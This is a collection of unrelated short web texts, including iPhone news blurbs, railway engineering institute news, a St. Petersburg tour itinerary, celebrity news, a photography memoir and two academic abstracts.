I walked 4 miles this day. Not a long hike by far, but I did challenge myself with elevation gain and a bit of difficulty dodging the muddy places. For people who want to snowshoe, this is a great area in winter. Cross-country skis would also work on the logging road. It doesn't seem to get as much traffic as other nearby trails and the parking is easy. I'd recommend checking it out.
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Rumor: Apple iOS 13 likely will not come to iPhone 6, iPhone 6 Plus, and iPhone SE
According to a recent rumor, Apple will not release iOS 13 to older iPhones including iPhone 6, iPhone 6 Plus, iPhone SE, iPad mini 2, and iPad Air.
According to a recent rumor, Apple will not release iOS 13 to older iPhones including iPhone 6, iPhone 6 Plus, iPhone SE, iPad mini 2, and iPad Air.
A Chinese company under the brand name "100+", which makes smartphone named "100C" has sued Apple for infringing their design patent.
Apple has finally admitted that there is an issue with the iPhone 6s and iPhone 6s Plus that causes the battery percentage indicator in the status bar not to update as the battery itself drains.
Today, Facebook updated its iOS App with support for 3D touch feature found in Apple's latest iPhones. With this new update installed, pressing the Facebook app icon firmly from the Home screen on the iPhone 6s and 6s Plus brings up a Quick Action menu showing three actions: Write Post, Upload Photo/Video, and Take Photo/Video.
We already reported that some iPhone 6S and iPhone 6S Plus pre-order customers living in New York and Philadelphia will face delays in received their order, as Pope Francis plans to visit these cities on September 25. Now Apple is notifying its customers who live in these cities, about the potential delay in delivering their iPhones.
Apple has started shipping first batch of iPhone 6S orders to their customers for the September 25 release date and many people are confirming this on Twitter.
While many customers who pre-ordered Apple iPhone 6S and iPhone 6S Plus are eagerly waiting for their pre-order to arrive on September 25, New York and Philadelphia customers will find their deliveries delayed as...
While Apple has showed off almost everything about their new iPhones, it has not revealed the specs for its new iPhone and iPad Pro models. However, Hamza Sood, an iOS developer was able to gauge the amount of RAM in the new iPhone 6S, iPhone 6S Plus and the iPad Pro through the iOS simulator in Xcode 7.1 beta.
Apple has started accepting preorders for iPhone 6S and iPhone 6S Plus with a release date of September 25. Now, a recent report reveals that despite China's economy and the fact that there are plenty of cheaper alternatives from Xiaomi and Huawei, Apple has already sold out both of its new iPhone model in China.
Apple and all major U.S wireless carriers are accepting pre-orders for the iPhone 6S and iPhone 6S Plus. Pre-orders are available in first wave launch countries including the United States, Australia, Canada, China, France, Germany, the UK, Hong Kong, Japan, New Zealand, Puerto Rico, and Singapore.
Today, a few leaked images of iPhone 6S Plus reveals the display and add some extra credibility to the rumors of Force Touch technology reaching both iPhones.
A recent report claims that Qualcomm is collaborating with TSMC to build modems for this year's iPhones, while Apple may be considering Intel LTE Modem for future iPhone models that will be coming in 2017.


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Congratulations to Andrew Lum, one of two dental students in the National Institutes of Health (NIH) 2017-2018 Medical Research Scholars Program Class (MSRP)! Andrew has taken a year off to dedicate his time to his research interests and will return next year to resume his fourth year as a member of the Class of 2019. He will be back in November to share more about what he is studying, but, in the meantime, he has given us a sneak peek into his experience:
"In just a few short weeks, MRSP has proven to be an incredible opportunity working with and learning from the brightest, most passionate researchers in biomedical science. Following in the footsteps of numerous TUSDM fellows such Jason, who have had tremendous success in the program is quite an honor." –Andrew Lum
Jason Berglund, who has returned to complete his fourth year this fall, spent his time at MRSP studying the origin of tumor-induced osteomalacia, a rare disease characterized by benign tumors that overproduce a hormone called fibroblast growth factor 23 and, ultimately, leads to bone pain, fractures, and muscle weakness. Read more about his experience HERE and be sure to give him a warm welcome back when you see him in the halls!


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News & Events
Industry courts next wave of engineers
Rail put its best foot forward in a bid to win the hearts and minds of emerging engineers during the Monash Institute of Railway Technology's (IRT) industry-student engagement afternoon on 10 September. Hosted by the Dean of the Faculty of Engineering, Professor Elizabeth Croft, and IRT director Ravi Ravitharan and his team, the session featured five-minute presentations by more than a dozen professionals speaking directly to engineerIng students on career pathways and opportunities within rail.
20 Years of IRT-Instrumented Revenue Vehicles
The Monash Institute of Railway Technology (IRT) is celebrating 20 years at Monash University. Throughout 2020, we'll be taking a look at some of the fundamental changes IRT helped to bring to the railway industry. The first of these is the Instrumented Revenue Vehicle (IRV), also known as Instrumented Ore Car (IOC) and Instrumented Coal Wagon (ICW) programme, which began in 2002 and is still delivering and expanding to new areas today.
People still needed to shape railways
Professor Hannes Gräbe, chair in railway engineering at the University of Pretoria in South Africa, delivered the 2019 lecture in railway engineering honouring the 40-year contribution of Dr. Stephen Marich to the railway industry. The lecture has been hosted every year by Monash Institute of Railway Technology (IRT) in Melbourne since 2014.
Recycled-waste sleepers enter first metro trial
NEARLY 200 SLEEPERS MADE from primarily a mix of recycled plastic have been incorporated into track in inner-suburban Melbourne. In a first for metropolitan rail in Australia, the composite product unveiled on the network on 24 June is being trialled by Public Transport Victoria (PTV) in collaboration with Monash University's Institute of Railway Technology(IRT)
Plastic sleepers under test by QR
Plastic raillway sleepers produced by a Mildura, Victoria, manufacturer are being tested by Queensland Rail (QR) as part of its plan to roll out alternatives to traditional infrastructure.Integrated Recycling has developed the Duratrack composite
Remote Track Inspections using Drones
With over 40,000km of track, Australia has the sixth largest railway network in the world. Current railway track inspections involve costly and occasionally dangerous practices, which are especially difficult in remote areas, but developments by
"Don't save yourself into trouble"
Increased operational demands are being placed on railroads. These demands come with financial constraints, Dr Robert Fröhling, principal engineer in the technology management department of South Africa's Transnet Freight Rail, tells an audience
Boom Time! - But Now What?
On Friday 27 October, the Permanent Way Institution (PWI) New South Wales hosted more than 400 rail industry delegates at the 2017 annual convention in Sydney with the theme 'Boom Time! But Now What?!?' The NSW rail Industry
Instrumented Revenue Vehicles Drive Track Maintenance Efficiencies
Rising demand is posing major challenges for railways around the world. They must invest significant sums to renew and enhance their infrastructure, while at the same time keeping lines open as much as possible to handle the increased traffic. As maintenance windows shrink and renewals budgets tighten, infrastructure managers need to find responsive strategies to drive efficiencies whilst ensuring safe and reliable operationsy
V/Line Accepts Report on Heat Speed Management
V/Line engaged Monash University's Institute or Railway Technology (IRT) and Central Queensland University (CQU) to carry out independent reviews on heat speed restrictions on the state's freight lines. V/Llne has accepted all the recommendations in two reports. In response to industry concerns, remedial work undertaken on the freight network had allowed the casing of speed restrictions for the 2017-18 summer and trains would still be able to run even when the temperature reached 36°C.
Never a Better Time to be a Rail Engineer
The rail Industry is a seller's market as far as engineers are concerned, with companies bidding strongly for the right skills. That was the message that emerged from 'Shaping the Future of Railway' hosted by the Institute of Railway Technology (IRT) and held at the Australia Synchrotron adjacent to Monash University Clayton Campus.


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Immediate confirmation
Broad selection of travel activities
Amazing experience for a reasonable price
Multi-Language support by local managers
Full refund if you cancel no later than 48 hours prior to start date
Recommended period: all the year round
Main sights: sightseeing tour, the Hermitage (the main museum complex), metro, the Lower Park in Peterhof (the Grand Palace 01.01-23.04.21 and 18.10-31.12.21), Kazan Cathedral, Kuznechny food market, the Russian Museum
Accommodation: 4*
Meals: breakfast, 1 lunch in a Russian family
Transport: comfortable air-conditioner car/minivan/minibus
Would you like to become Russian for several days? Do you want to understand better this great and mysterious country? We can help you to become closer..you will try to think like Russian, do like Russian and eat like Russian! Start your incredible adventure now! We believe that you will be able to gain many vivid impressions and an unforgettable experience.
1 day
Welcome to Saint-Petersburg! Your guide will meet you at the airport or at the railway station and you will begin an exciting 4-day journey through our hospitable city ..
As if in a fairy tale, Saint-Petersburg will whirl you around with a series of spacious squares, beautiful palaces, behind the walls of which the fate of individuals and the whole state was decided. They remember about love and hatred, about nobility and baseness, about loyalty and betrayal of the powerful. The excursion route will pass through the most beautiful places of Saint-Petersburg - Palace, Saint Isaak's and Senate squares, Nevsky Prospect and the front embankments of the Neva. During the excursion you will see the Spit of Vasilyevsky Island with the Rostral columns and the building of the Kunstkamera, the Field of Mars, the Mikhailovsky Castle - one of the most mystical buildings in Saint-Petersburg, the Russian Museum and the monument to A.S. Pushkin on Arts square, the Peter and Paul Fortress - the first military building of the city, the legendary cruiser "Aurora", the monument to the founder of the city Peter the Great "The Bronze Horseman", the majestic St. Isaac's Cathedral, the Winter Palace, which is the royal residence during the Russian Empire and the Admiralty, the church of the Savior on Spilled Blood, which was built on the site of the assassination of Tsar Alexander II, Kazan Cathedral, a monument to Catherine II on Ostrovsky Square and much, much more.
After the tour, the guide will help you to check-in at the hotel (after 14.00). And you can rest and relax, as well as have lunch or dinner on your own in one of the nearby restaurants - your guide will be happy to tell you where to go.
2 day
Breakfast at the hotel restaurant.
After breakfast your guide will invite you for an excursion to the Hermitage - one of the largest museums in the world. The Hermitage was founded as a personal collection of Empress Catherine II, who, wishing to establish herself as an "enlightened empress", began collecting works of art. Painting experts, European scholars, collected and bought collections of paintings for the Russian empress, and soon Russia accumulated enormous wealth - a collection of works of Western European old masters. For a long time, the museum remained closed to the general public, and became public only in the middle of the 19th century. Now his collection numbers over 3.5 million items. Among them are paintings by Leonardo da Vinci, Rembrandt, Rubens, Van Dyck, Velazquez, Goya, Watteau, Poussin, Gainsborough, antique sculpture, Egyptian antiquities and much, much more. You will not only see the famous masterpieces, but also learn how the rulers of the Russian Empire lived in the 18th-19th centuries, because the main building of the Hermitage - the Winter Palace - until 1917 remained the main Winter residence of the royal family.
Then you will have free time to have a lunch in cozy cafes or restaurants near St. Isaac's Square.
After that you will have a Metro tour. You will move round the city as all citizens do! Metro is the most convenient mode of public transport in Petersburg. It is faster, more convenient, cheaper and safer to move around the city by metro, than by car or other forms of public transport. You will visit the most beautiful stations that are great example of Soviet architecture art.
You will continue this day with a suburban excursion to the brilliant Peterhof - the "Capital of fountains" and the favorite residence of Peter I. In splendor and richness of decoration, Peterhof surpassed its prototype - French Versailles and became the most beautiful palace and park ensemble in Europe. You will get acquainted with the history of the creation of this man-made miracle, admire the most famous fountains and cascades, learn the engineering secrets of its construction, walk along the shady alleys of the Lower Park, and also admire the panorama of the Gulf of Finland.
3 day
Breakfast at the hotel restaurant.
We will start this day with a visit to the Orthodox Cathedral of the Kazan Cathedral. The main shrine of the city is kept here - the Kazan Icon of the Mother of God - one of the most revered icons in Russia. It was built at the beginning of the 19th century, and after the Patriotic War of 1812, the Kazan Cathedral became a monument of Russian military glory. In 1813, the commander Mikhail Illarionovich Kutuzov was buried here, and the keys to the captured cities and other war trophies were placed. Kazan Cathedral is one of the most popular cathedrals in Russia - it is always full of people who have come to ask the Kazan Icon of the Mother of God to fulfill their cherished desires.
After visiting the cathedral, you will have a pleasant walk around the Dostoevsky quarter with a visit to the Kuznechny market, so beloved by the citizens, which is located in an old building in the Soviet Empire style with many food shops and a large selection of delicious farm products. You will have the opportunity to taste and purchase quality products.
Then we invite you to a traditional homemade dinner with a Russian family. This family lunch with your family will be an unforgettable experience that will help you meet and communicate with Russian people, see and understand the real local culture, learn more about our country and, of course, taste delicious homemade food. You have enjoyed a real Russian feast, during which there is a special warm and friendly atmosphere. (In the summer, you can exchange for a visit to the dacha with barbecue tasting).
After lunch, you can delve into Russian culture by visiting the most popular painting museum - the Russian Museum, located in the building of the Mikhailovsky Palace. Here the largest collection of Russian painting and sculpture is collected. The collection of the museum has about 400,000 exhibits and covers all historical periods and trends in the development of Russian art, the main types and genres, trends and schools for more than 1000 years: from the 10th to the 21st century.
4 day
Breakfast at the hotel restaurant, check out.
Then the guide will take you to the airport or railway station.
Departure Point
the airport or the railway station
Departure Time
Return Details
the airport or the railway station
• accommodation in Saint-Petersburg 3 nights with breakfast, registration fee
• the Hermitage (the main museum complex), metro, the Lower Park in Peterhof (the Grand Palace 01.01-23.04.21 and 18.10-31.12.21), the Russian Museum
• 1 lunch in a Russian family
• comfortable air-conditioner car/minivan/minibus
• licensed English speaking guide
The cruise lines say that no one is allowed off the ship in St. Petersburg cruise port that does not purchase a ship sponsored excursion or have arranged a Russian visa on their own. Is that correct?
That is false! The third option is to purchase an excursion with a government licensed St. Petersburg shore excursion operator who has permission to give visa-free excursions. Your "visa" is the excursion guide! With this excursion, you are ready to explore St. Petersburg with your guide for the duration of the excursion, everything is taken care of.
Can I go wander and explore on my own during this private St. Petersburg sightsee excursion?
Unfortunately no, as part of the visa-free St Petersburg cruise excursion, guests must stay with their excursion guide.
What documents will I need to get off the ship in St. Petersburg Russia?
Guests must present their valid passport and official EXCURSION Ticket from the operator and will have no problems clearing customs and immigration for their excursion.
Do I need to take my passport with me on the St. Petersburg Private Peterhof Palace with Hydrofoil Boat Excursion for Small Groups to show along with my Electronic Shore Excursion Ticket?
YES, it is necessary to take along your passport. You will need to print and show your Electronic Ticket as well as any other documents required or sent to you for this excursion. Everything needed will be listed on your E-ticket.
For a full refund, cancel at least 24 hours in advance of the start date of the experience.


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'We don't always get what we want.' YouTuber Yummy Mummy responds to fan who asked for Zack.
Kenyan Tv host Joan Munyi better known as Yummy Mummy on YouTube, is tired of fans asking about her marriage. This morning, she shared a photo of herself on her Instagram with a cheeky caption.
'I'm your valentines gift. You're welcome.' She wrote.
A fan replied to her post demanding to see her with her husband, Zack. She wrote. 'We want to see you with Zack.'
Joan did not ignore this comment. She responded to it sarcastically, saying that she also needs five million dollars. But people do not always get what they want.
She wrote. 'And me I want 5 million dollars. We don't always get what we want.' There has been a lot of speculation that the curvy beauty and her husband are not on good terms. However, every time a fan asks or comments on her marriage, she never ignores it. She always replies. When the rumors started, Joan asked fans through Instagram whether they genuinely cared about her or information for gossip.
'I am sick of all these questions about Zach and y marriage. Are you asking because you genuinely care, or you just want tea? Examine your heart and your intentions.' She wrote. Happy month of love! Show us, love, by following this blog for daily and consistent entertainment and celebrity news in the region.


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My Photo Journey
I first pick up a camera when I was 15 years of age, a cheap Pentax film camera that I got for Christmas. One of the first pictures I took was of my sister's rabbits, which later got me a runner up award in an under 16 competition. I was over the moon, I started to take more photos and spent all the money I had on film and getting them developed - only to be very disappointed. I knew the results I wanted but it never turned out the way I imagined the shot in my head.
I always wanted to draw but couldn't draw a straight line with a ruler so thought photography would be the better option. I've seen such great photos in books and magazines and thought I could get the same results just by picking up a camera and shooting away, how wrong I was! Way back then there was no YouTube to help me and I was not a fan of reading books, so I just gave up. I put the camera away and forgot about it.
So 40 years had passed and my wife bought me a camera for Christmas (here we go again I thought), this time my wife said 'Just take some shots, have fun and look on the internet to find someone to learn from...' So I put a search into YouTube and found Mike Browne; this overweight, scruffy looking guy. However after watching one or two of his videos things started to make sense to me - about getting the right light, compositions, rules of thirds etc... I thought some of my first photos looked good but looking back on them now - maybe they weren't, but I was having fun!
I'd left the army with a very bad injury and needed something to help me with the stress, I won't bore you with the details but I am now a disabled photographer deaf in one ear and only have one leg, I was getting into the same trap trying to run before I could walk. I tried again, I took my time watching a few of Mike's videos then went out and tried to put some of the things I'd learnt into practise. I also looked at other photographers out there on the internet but found that every time I did this Mike reappeared, he explained everything in a way I could understand, It was simple and to the point. I could then start seeing my photography improve so I joined a photography club for disabled photographers in Yate, Bristol. I also started to play with Lightroom and Photoshop.
This really started to make my mouth water, you coud play around with a photo, change things, take things out of the shot, add things, endless possibilities. There was suddenly a whole lot more to learn than I thought but it was (and still is) a lot of fun.
The photo above was one I edited in Photoshop; I took two photos and blended them into one then turned it into B&W to add more drama. I still needed more work but was having even more fun trying to get them right.
It was at this time I took the next step and had a 121 training day with Mike. The day was so much fun, Mike made me feel as though we'd been friends for a long time whereas in fact it was the first time we'd met. Mike spent time looking at old photos I'd taken, some that I felt were bad and some that I felt were good. After about an hour and with some input from me as to what I wanted to learn we went out and started to shoot. Below is one of the shots I came up with.
To be honest my photography journey has only really just begun and I have such a long way to go, however with the help of online trainers like Mike Browne I feel I now have a great starting point with a solid foundation to improve. Moving forward I feel I've improved no end thanks to Mike.
My favourite photo from my 121 with Mike is this one.
In the photo above I just love the colours and the way the bird is flying through the sun.
Thanks so much Mike for helping me on my journey.
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|An extended dual decision-feedback equalizer for high-density perpendicular magnetic recording channels
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|Choongchae Woo, Hangyu Cho and Daesik Hong
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|IEEE Transactions on Magnetics
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|Partial-response maximum-likelihood (PRML) systems are powerful and indispensable for high-density perpendicular magnetic recording channels. However, high-order partial-response (PR) targets must be considered because of severe intersymbol interference (ISI). On the other hand, decision feedback equalization (DFE) has very low complexity. DFE can be used with high code rate modulation codes, thanks to the fact that DFE does not use a minimum run constraint as a multilevel DFE (MDFE). At high recording densities, dual detection schemes such as dual DFE (DDFE) significantly improve performance and reduce error propagation. So, we compare DDFE detectors with PR(1221)ML and PR(12321)ML on 16/17 maximum transition run (MTR) (3,11)-coded perpendicular magnetic recording channels and propose an extended DDFE that represents a dual version of the DDFE. Simulation results show that the DDFE has a bit-error-rate (BER) performance comparable to that for PR(12321)ML. Our extended DDFE in turn shows a performance gain over DDFE and PR(12321)ML at the normalized recording densities 3 and 4.
Choongchae Woo; Hangyu Cho; Daesik Hong; , "An extended dual decision-feedback equalizer for high-density perpendicular magnetic recording channels," Magnetics, IEEE Transactions on , vol.38, no.5, pp. 2343- 2345, Sep 2002
doi: 10.1109/TMAG.2002.801900
URL: http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=1042182&isnumber=22340
doi: 10.1109/TMAG.2002.801900
URL: http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=1042182&isnumber=22340


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Well as I teased a couple weeks ago, the Czarina and I teamed up with Capital One's Kingmaker–TCPA SME Jeremy Gladstone–to break down all the huge TCPA developments exclusively for CBA members at the big CBA Live Virtual Event (1,700 attendees BTW– big big event.)
We broke down the biggest news on the TCPA front, including the big Facebook appeal but also looked at alternative contact strategies– texts, push notifications, etc.- and analyzed the carrier's new default call blocking rules and analyzed strategies for making sure YOUR calls get connected in the new TCPAWorld order.
Well this was such a big deal that CBA agreed to allow my to offer this content to all TCPAWorld.com readers FREE OF CHARGE, even if they did not register and attend the event! How about that?
Just one more perk of being a faithful TCPAworld.com reader. You're welcome!
To view this critical TCPA presentation click on the picture below. Enjoy:


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Alanis Morissette paid tribute to late Foo Fighters drummer Taylor Hawkins last night (June 28) at the first of two shows at London's The O2 – see footage below.
The Canadian singer-songwriter is currently on the road as part of her 'Jagged Little Pill' anniversary tour, which had previously been rescheduled due to the coronavirus pandemic.
Towards the end of her set, Morissette performed her hit 1996 single 'Ironic' while displaying images of Hawkins on a screen behind her. Once the song finished, a message reading "In Memory Of Taylor Hawkins" flashed up on the screen under a photo of the drummer.
Hawkins played as part of Morissette's live band before joining the Foos in 1997. In a 2018 interview, he told Matt Wilkinson on Beats 1 that he "wouldn't be here if it wasn't for [Morissette]", adding that he would "be delivering pizza if it wasn't for her".
You can check out footage of Morissette's tribute below:
After a couple of postponed shows thanks to Covid, I finally got to see @Alanis Morrisette. What a show, I loved every minute!
It's safe to say, if I needed to sing a song and not FU, it would be this one.
Also a lovey tribute to Taylor Hawkins 💜 pic.twitter.com/jk4HSdu64g
— Hayles 🇬🇧 (@JustHayles333) June 29, 2022
Alanis Morissette played:
'All I Really Want'
'Hand In My Pocket'
'Right Through You'
'You Learn'
'Hands Clean'
'Mary Jane'
'Reasons I Drink'
'Head Over Feet'
'So Unsexy'
'Losing The Plot'
'Wake Up'
'Not The Doctor'
'Sympathetic Character'
'I Remain'
'You Oughta Know'
'Your House'
'Thank U'
Hawkins died in Bogotá, Colombia on March 25 at the age of 50. The Foo Fighters announced the news in a statement on social media.
"The Foo Fighters family is devastated by the tragic and untimely loss of Taylor Hawkins," the statement read. "His musical spirit and infectious laughter will live on with all of us forever. Our hearts go out to his wife, children and family, and we ask that their privacy be treated with the utmost respect in this unimaginably difficult time."
Meanwhile, Foo Fighters recently shared details of two 'Taylor Hawkins Tribute Concerts' that will take place this September.
Together with the rock icon's family, the Foos will celebrate Hawkins' memory and music at two special gigs in London and Los Angeles. 'The Taylor Hawkins Tribute Concerts' will stop at Wembley Stadium on September 3 before taking over LA's Kia Forum on September 27.
The shows will see several artists who inspired and were inspired by the legendary drummer join his family and bandmates to play "the songs that he fell in love with and the ones he brought to life".


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In Critical Review, September 2017, vol 29, n° 2
Oscar Larsson's sympathetic critique of constructivist institutionalism calls for a clarification of my understanding of subjectivity, inter-subjectivity, and their mutual interdependence. That interdependence lies at the heart of any genuinely constructivist approach, just as the interdependence of structure and agency lies at the heart of any genuinely institutionalist approach. As such, I reject the charge of subjectivism just as I would that of voluntarism. Building on the social ontology of Berger and Luckmann, we can distinguish between subjectivity and intra-subjectivity and proceed to show how the latter implies a notion of inter-subjectivity. An example of the social construction of a political crisis shows that social facts are made and remade through a fusion of inter- and intra-subjectivities.
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